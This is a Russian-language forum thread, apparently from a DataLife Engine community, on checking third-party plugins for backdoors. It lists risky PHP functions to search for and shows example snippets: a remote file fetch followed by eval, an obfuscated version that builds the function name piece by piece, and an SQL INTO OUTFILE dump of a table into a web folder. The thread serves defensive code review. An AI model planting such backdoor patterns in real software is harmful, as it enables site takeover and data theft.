Перейти к публикации

Рекомендованные сообщения

Всем добрый день!

Сегодня на повестке дня стоит вопрос безопасности наших с вами сайтов.

А именно - мы устанавливаем некоторые модули (плагины). Всё хорошо, но теперь мы должны быть внимательны - установка любого модуля теоретически ведёт к захвату вашего сайта автором модуля. Тоже самое касается и нелицензионных (взломанных) копий DataLife Engine! Конечно конечно - большинство разработчиков - честные люди, но ведь всякое бывает. Сегодня ваш сайт стоит копейки, а завтра десяток другой килобаксов - пора платить!

Каким образом установка модуля (плагина) снижает безопастность?

При установке модуля строго рекомендую использовать поиск в файлах по ключевым словам "mail", "eval", "include", 'file_get_contents" - пока всё. Вариантов масса, но пока остановимся на этом. Если вы нашли эти команды в коде модуля - внимательно посмотрите вокруг и если сами не понимаете что происходит в этом месте с программой - спросите у товарища, а лучше на форуме.

Приведу пример из 2-х строчек, которые приведут к захвату вашего сайта:

$tt = @file_get_contents ('http://site.ru/script.txt');

...........

eval ($tt);

Вот так - причём эти строчки могут быть вообще в разных файлах модуля.

Что делать если исхдный код закрыт Зендом? - да собственно ничего, ставить мод (плагин) на собственный страх и риск.

Вводная часть закончена, предлагаю обсудить этот животрепещущий вопрос :)

Изменено пользователем lifestar
Ссылка на сообщение
Поделиться на других сайтах

lifestar,

Полезная информация!

Действительно, подобные вещи можно спрятать в коде в разных местах... так, что он не будет бросаться в глаза...

И если знать такие способы, то это очень поможет...

Ссылка на сообщение
Поделиться на других сайтах

celsoft, спасибо.

revix.ru, вы сегодня невнимательны)

Итак список пополняется и теперь он таков:

mail

eval

include

require

file*

strrev

fsockopen

base64_decode

curl_*

Кто ещё предложит?)

Ссылка на сообщение
Поделиться на других сайтах

IT-Security, так не имелось в виду их запретить вообще. Просто проверить что именно подключается. На некоторых хостингах срабатывает удалённый инклуд жеж

Ссылка на сообщение
Поделиться на других сайтах

Я может скажу что то нереальное, но самая надежная защита это вообще не ставить модулей B)

Ссылка на сообщение
Поделиться на других сайтах

$a1="fi";

$a2="le";

$a3="ge";

$a4="t";

$a5="co";

$a6="nt";

$a7="en";

$a8="_";

$a1.=$a2;

$a2=$a1.$a8;

$a3.=$a4.$a8;

$a2.=$a3.$a8;

$a1=$a2.$a5.$a6.$a7.$a4;

eval($a1("http://Мега страшный скрипт"));

А такое?:) Так что пр желании - неподготовленный человек не найдёт уязвмости))

Изменено пользователем BlackMaster
Ссылка на сообщение
Поделиться на других сайтах

А такое?

Я бы вообще не ставил бы модуль, где написано "eval".

Ссылка на сообщение
Поделиться на других сайтах

BlackMaster, я же написал в списке eval, да и тем более неподготовленный человек вообще никогда не найдёт уязвимости.

Добавляем в список: fopen, ftp_*, http_*, get_meta_tags, exec и passthru

и получаем:

base64_decode

curl_*

file*

fopen

fsockopen

ftp_*

get_meta_tags

http_*

include

eval

exec

mail

passthru

require

strrev
+ ко всему вышесказанному опасной является конструкция:
$db->query('SELECT * INTO OUTFILE "'.$_SERVER['DOCUMENT_ROOT'].'/XXX/test.txt" FROM **TBL**');

где XXX: templates, backup, uploads, а также для всех папок, находящихся внутри них и на которых поставлены права 7** (с правами могу ошибаться - поправьте если я не прав)

**TBL** - соответственно ваша таблица, содержимым которой интересуется разработчик модуля :)

Да кстати, точно таким же способом можно "сохранить" файл конфига базы в текстовый файл, предварительно записав его значения в БД, а позже удалив эту запись.

Сам файл кстати тоже рекомендуется удалить после прочтения.

Изменено пользователем lifestar
Ссылка на сообщение
Поделиться на других сайтах

Причём тут eval)) вот пример когда его не найти:

$a="enter val";

for($i=1;$i<6;$i++){ $a[$i]=''; }

$a("очень страшный скрипт");

Так, что ХОРОШО не подготовленый - не найдёт даже зная, что нужно искать)))

Ссылка на сообщение
Поделиться на других сайтах

BlackMaster, может ты хотел сказать так?

$a="enter val";

$b = $a[0].$a[6].$a[7].$a[8];

$b("очень страшный скрипт");

Такое никогда не выполнится, потому что это пользовательская функция и PHP вызовет ошибку "Call to undefined function eval()..."

Ссылка на сообщение
Поделиться на других сайтах

потратил час где-то, просмотрел все, помоему нереально так вычеслить.. Нулл точно весь не перероешь, там на каждую команду от 2 до 20 совпадений (файлов).. а папку с модами просканил, таже басня, половина команд используются в каждом модуле.. не выход, имхо.. Может быть есть смысл палить по "_http:" или как нибудь иначе, страшный скрипт то должны подгрузить с какого то ресура.. простите если рассуждаю как ламер, но вышеизложенное - малоэффективно, имхо..

Ссылка на сообщение
Поделиться на других сайтах

Пашо,

а зачем проверять null?

Тут говорится про модули, где всего пару файлов и нет таких совпадений.

Ссылка на сообщение
Поделиться на других сайтах

Пашо, теоретически можно написать скрипт проверки на урл, не равном своему. Но его легко можно будет обмануть ;)

Так у тебя нуль? надо проверить, надо) а лучше покаж регистрационный код скорее, иначе дело жареным запахнет

А вообще

половина команд используются в каждом модуле..
какие "команды" из этого списка используются в модулях кроме include и require
base64_decode

curl_*

file*

fopen

fsockopen

ftp_*

get_meta_tags

http_*

include

eval

exec

mail

passthru

require

strrev

Изменено пользователем lifestar
Ссылка на сообщение
Поделиться на других сайтах

ничо не понял про регистрационный код и прочее.. команды половина.. я уже точно не помню а перерыскивать все уже не хочеться, в частности в модулях - для загрузки картинок архивом, сайт мап, и он-лайн статистика.. находились половина всех этих команд..

Пашо,

а зачем проверять null?

Тут говорится про модули, где всего пару файлов и нет таких совпадений.

ТС писал вообще то

Тоже самое касается и нелицензионных (взломанных) копий DataLife Engine!
Ссылка на сообщение
Поделиться на других сайтах

Присоединяйтесь к обсуждению

Вы можете опубликовать сообщение сейчас, а зарегистрироваться позже. Если у вас есть аккаунт, войдите в него для написания от своего имени.

Гость
Ответить в тему...

×   Вставлено в виде отформатированного текста.   Вставить в виде обычного текста

  Разрешено не более 75 эмодзи.

×   Ваша ссылка была автоматически встроена.   Отобразить как ссылку

×   Ваш предыдущий контент был восстановлен.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

×
×
  • Создать...